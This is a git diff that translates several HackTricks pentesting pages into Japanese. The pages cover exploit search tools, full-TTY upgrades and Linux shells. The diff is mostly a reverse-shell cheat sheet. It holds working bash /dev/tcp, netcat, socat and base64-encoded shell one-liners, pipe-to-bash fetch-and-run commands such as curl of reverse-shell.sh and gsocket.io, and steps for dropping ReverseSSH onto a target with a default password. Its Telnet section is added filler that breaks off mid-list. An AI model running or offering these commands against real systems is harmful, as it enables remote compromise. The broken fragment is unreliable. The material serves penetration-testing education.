![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/search-exploits.md b/generic-methodologies-and-resources/search-exploits.md index 534fea3a3..e147aca0e 100644 --- a/generic-methodologies-and-resources/search-exploits.md +++ b/generic-methodologies-and-resources/search-exploits.md @@ -1,10 +1,10 @@ -# Search Exploits +# エクスプロイトの検索 ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**することができます。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,24 +12,23 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -### Browser +### ブラウザ -Always search in "google" or others: **\ \[version] exploit** +常に「google」や他の検索エンジンで検索してください:**\ \[version] exploit** -You should also try the **shodan** **exploit search** from [https://exploits.shodan.io/](https://exploits.shodan.io). +また、[https://exploits.shodan.io/](https://exploits.shodan.io)の**shodanのエクスプロイト検索**も試してみてください。 ### Searchsploit -Useful to search exploits for services in **exploitdb from the console.** - +コンソールから**exploitdbのサービスのエクスプロイトを検索**するのに便利です。 ```bash #Searchsploit tricks searchsploit "linux Kernel" #Example @@ -39,45 +38,42 @@ searchsploit -p 7618[.c] #Show complete path searchsploit -x 7618[.c] #Open vi to inspect the exploit searchsploit --nmap file.xml #Search vulns inside an nmap xml result ``` - ### Pompem -[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) is another tool to search for exploits +[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem)は、エクスプロイトを検索するための別のツールです。 ### MSF-Search - ```bash msf> search platform:windows port:135 target:XP type:exploit ``` - ### PacketStorm -If nothing is found, try to search the used technology inside [https://packetstormsecurity.com/](https://packetstormsecurity.com) +何も見つからない場合は、[https://packetstormsecurity.com/](https://packetstormsecurity.com)で使用されている技術を検索してみてください。 ### Vulners -You can also search in vulners database: [https://vulners.com/](https://vulners.com) +vulnersデータベースでも検索できます:[https://vulners.com/](https://vulners.com) ### Sploitus -This searches for exploits in other databases: [https://sploitus.com/](https://sploitus.com) +これは他のデータベースでエクスプロイトを検索します:[https://sploitus.com/](https://sploitus.com)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/shells/README.md b/generic-methodologies-and-resources/shells/README.md index cab800b1d..0e1c56962 100644 --- a/generic-methodologies-and-resources/shells/README.md +++ b/generic-methodologies-and-resources/shells/README.md @@ -1,31 +1,29 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# [**Shells - Linux**](linux.md) +# [**シェル - Linux**](linux.md) -# [**Shells - Windows**](windows.md) +# [**シェル - Windows**](windows.md) -# [**MSFVenom - CheatSheet**](msfvenom.md) +# [**MSFVenom - チートシート**](msfvenom.md) -# [**Full TTYs**](full-ttys.md) +# [**完全なTTY**](full-ttys.md) -# **Auto-generated shells** +# **自動生成されたシェル** * [**https://reverse-shell.sh/**](https://reverse-shell.sh/) * [**https://www.revshells.com/**](https://www.revshells.com/) @@ -44,16 +42,14 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/generic-methodologies-and-resources/shells/full-ttys.md b/generic-methodologies-and-resources/shells/full-ttys.md index 6bcb27b83..49d0ed596 100644 --- a/generic-methodologies-and-resources/shells/full-ttys.md +++ b/generic-methodologies-and-resources/shells/full-ttys.md @@ -1,20 +1,20 @@ -# Full TTYs +# フルTTY
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Full TTY +## フルTTY -Note that the shell you set in the `SHELL` variable **must** be **listed inside** _**/etc/shells**_ or `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`. Also, note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running `bash`. +`SHELL`変数で設定したシェルは、**必ず** _**/etc/shells**_ に**リストされている必要があります**。また、次のスニペットはbashでのみ動作します。zshの場合は、`bash`を実行してからシェルを取得してください。 #### Python @@ -27,10 +27,10 @@ python3 -c 'import pty; pty.spawn("/bin/bash")' {% endcode %} {% hint style="info" %} -You can get the **number** of **rows** and **columns** executing **`stty -a`** +**`stty -a`**を実行すると、**行数**と**列数**を取得できます。 {% endhint %} -#### script +#### スクリプト {% code overflow="wrap" %} ```bash @@ -40,7 +40,6 @@ script /dev/null -qc /bin/bash #/dev/null is to not store anything {% endcode %} #### socat - ```bash #Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 @@ -48,8 +47,7 @@ socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ``` - -### **Spawn shells** +### **シェルの生成** * `python -c 'import pty; pty.spawn("/bin/sh")'` * `echo os.system('/bin/bash')` @@ -66,11 +64,11 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ## ReverseSSH -A convenient way for **interactive shell access**, as well as **file transfers** and **port forwarding**, is dropping the statically-linked ssh server [ReverseSSH](https://github.com/Fahrj/reverse-ssh) onto the target. +**インタラクティブなシェルアクセス**、**ファイル転送**、**ポートフォワーディング**の便利な方法は、ターゲットに静的リンクされたsshサーバー[ReverseSSH](https://github.com/Fahrj/reverse-ssh)をドロップすることです。 -Below is an example for `x86` with upx-compressed binaries. For other binaries, check [releases page](https://github.com/Fahrj/reverse-ssh/releases/latest/). +以下は、upx圧縮されたバイナリを使用した`x86`の例です。他のバイナリについては、[リリースページ](https://github.com/Fahrj/reverse-ssh/releases/latest/)を確認してください。 -1. Prepare locally to catch the ssh port forwarding request: +1. ローカルでsshポートフォワーディングリクエストをキャッチするために準備します: {% code overflow="wrap" %} ```bash @@ -81,9 +79,7 @@ wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_revers ``` {% endcode %} -* (2a) Linux target: - -{% code overflow="wrap" %} +* (2a) Linuxのターゲット: ```bash # Drop it via your preferred way, e.g. wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh @@ -92,7 +88,7 @@ wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_revers ``` {% endcode %} -* (2b) Windows 10 target (for earlier versions, check [project readme](https://github.com/Fahrj/reverse-ssh#features)): +* (2b) Windows 10のターゲット(以前のバージョンについては、[プロジェクトのreadme](https://github.com/Fahrj/reverse-ssh#features)を確認してください): {% code overflow="wrap" %} ```bash @@ -103,8 +99,7 @@ reverse-ssh.exe -p 4444 kali@10.0.0.2 ``` {% endcode %} -* If the ReverseSSH port forwarding request was successful, you should now be able to log in with the default password `letmeinbrudipls` in the context of the user running `reverse-ssh(.exe)`: - +* もしReverseSSHポートフォワーディングのリクエストが成功した場合、`reverse-ssh(.exe)`を実行しているユーザーのコンテキストでデフォルトのパスワード`letmeinbrudipls`でログインできるはずです。 ```bash # Interactive shell access ssh -p 8888 127.0.0.1 @@ -112,23 +107,20 @@ ssh -p 8888 127.0.0.1 # Bidirectional file transfer sftp -P 8888 127.0.0.1 ``` +## TTYがない場合 -## No TTY - -If for some reason you cannot obtain a full TTY you **still can interact with programs** that expect user input. In the following example, the password is passed to `sudo` to read a file: - +何らかの理由で完全なTTYを取得できない場合でも、ユーザー入力を必要とするプログラムと**やり取りすることはできます**。次の例では、パスワードが`sudo`に渡されてファイルを読み取ります。 ```bash expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "";send "\r\n";interact' ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝したいですか**?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか**?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/generic-methodologies-and-resources/shells/linux.md b/generic-methodologies-and-resources/shells/linux.md index 83001dd55..605b827fc 100644 --- a/generic-methodologies-and-resources/shells/linux.md +++ b/generic-methodologies-and-resources/shells/linux.md @@ -1,25 +1,24 @@ -# Shells - Linux +# シェル - Linux
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝したいですか**?または、**PEASSの最新バージョンにアクセスしたいですか**、または**HackTricksをPDFでダウンロードしたいですか**?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**私をフォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-**If you have questions about any of these shells you could check them with** [**https://explainshell.com/**](https://explainshell.com) +**これらのシェルについて質問がある場合は、** [**https://explainshell.com/**](https://explainshell.com) **で確認できます。** -## Full TTY +## フルTTY -**Once you get a reverse shell**[ **read this page to obtain a full TTY**](full-ttys.md)**.** +**リバースシェルを取得したら、[**このページを読んでフルTTYを取得**](full-ttys.md)**してください。** ## Bash | sh - ```bash curl https://reverse-shell.sh/1.1.1.1:3000 | bash bash -i >& /dev/tcp// 0>&1 @@ -32,11 +31,9 @@ exec 5<>/dev/tcp//; while read line 0<&5; do $line 2>&5 >&5; #after getting the previous shell to get the output to execute exec >&0 ``` +他のシェルもチェックすることを忘れないでください:sh、ash、bsh、csh、ksh、zsh、pdksh、tcsh、およびbash。 -Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash. - -### Symbol safe shell - +### シンボルセーフシェル ```bash #If you need a more stable connection do: bash -c 'bash -i >& /dev/tcp// 0>&1' @@ -45,37 +42,34 @@ bash -c 'bash -i >& /dev/tcp// 0>&1' #B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0 echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null ``` +#### シェルの説明 -#### Shell explanation - -1. **`bash -i`**: This part of the command starts an interactive (`-i`) Bash shell. -2. **`>&`**: This part of the command is a shorthand notation for **redirecting both standard output** (`stdout`) and **standard error** (`stderr`) to the **same destination**. -3. **`/dev/tcp//`**: This is a special file that **represents a TCP connection to the specified IP address and port**. - * By **redirecting the output and error streams to this file**, the command effectively sends the output of the interactive shell session to the attacker's machine. -4. **`0>&1`**: This part of the command **redirects standard input (`stdin`) to the same destination as standard output (`stdout`)**. - -### Create in file and execute +1. **`bash -i`**: この部分のコマンドは、対話型 (`-i`) のBashシェルを起動します。 +2. **`>&`**: この部分のコマンドは、**標準出力 (`stdout`) と標準エラー (`stderr`) を同じ宛先にリダイレクト**するための省略記法です。 +3. **`/dev/tcp/<攻撃者のIP>/<ポート>`**: これは、指定したIPアドレスとポートへのTCP接続を表す特殊なファイルです。 +* **出力とエラーストリームをこのファイルにリダイレクト**することで、コマンドは対話型シェルセッションの出力を攻撃者のマシンに送信します。 +4. **`0>&1`**: この部分のコマンドは、標準入力 (`stdin`) を標準出力 (`stdout`) と同じ宛先にリダイレクトします。 +### ファイルを作成して実行する ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1/ 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh ``` +## フォワードシェル -## Forward Shell +Linuxマシンのウェブアプリで**RCEがある**場合でも、Iptablesルールや他の種類のフィルタリングのために**リバースシェルを取得できない**場合があります。この「シェル」は、被害者システム内でパイプを使用してRCEを介してPTYシェルを維持することができます。\ +コードは[**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)で見つけることができます。 -You might find cases where you have an **RCE in a web app in a Linux machine** but due to Iptables rules or other kinds of filtering **you cannot get a reverse shell**. This "shell" allows you to maintain a PTY shell through that RCE using pipes inside the victim system.\ -You can find the code in [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell) +次のように変更する必要があります: -You just need to modify: +* 脆弱なホストのURL +* ペイロードの接頭辞と接尾辞(あれば) +* ペイロードの送信方法(ヘッダー?データ?追加情報?) -* The URL of the vulnerable host -* The prefix and suffix of your payload (if any) -* The way the payload is sent (headers? data? extra info?) +その後、単純に**コマンドを送信**するか、**`upgrade`コマンドを使用**して完全なPTYを取得できます(パイプは約1.3秒の遅延で読み書きされます)。 -Then, you can just **send commands** or even **use the `upgrade` command** to get a full PTY (note that pipes are read and written with an approximate 1.3s delay). ## Netcat - ```bash nc -e /bin/sh nc | /bin/sh #Blind @@ -83,66 +77,248 @@ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp nc | /bin/bash | nc rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` - ## gsocket -Check it in [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) - +[https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)で確認してください。 ```bash bash -c "$(curl -fsSL gsocket.io/x)" ``` - ## Telnet +Telnetは、ネットワーク上のリモートシステムに接続するためのプロトコルです。通常、リモートシステムにログインするために使用されます。Telnetは、クライアントとサーバーの間でテキストベースの通信を提供します。 + +### Telnetの使用法 + +以下のコマンドを使用して、Telnetを使用してリモートシステムに接続できます。 + +```bash +telnet <ポート番号> +``` + +- ``: 接続先のリモートシステムのIPアドレスを指定します。 +- `<ポート番号>`: 接続先のリモートシステムのポート番号を指定します。 + +### Telnetのセキュリティ上の問題 + +Telnetは、通信が平文で送信されるため、セキュリティ上の問題があります。パスワードや機密情報を送信する場合、暗号化されたプロトコル(例:SSH)を使用することをお勧めします。 + +### Telnetの代替手段 + +Telnetの代わりに、SSH(Secure Shell)を使用することをお勧めします。SSHは、暗号化された通信を提供し、セキュリティ上のリスクを軽減します。 + +### Telnetの脆弱性の検査 + +Telnetの脆弱性を検査するために、以下の手順を実行できます。 + +1. Telnetを使用してリモートシステムに接続します。 +2. 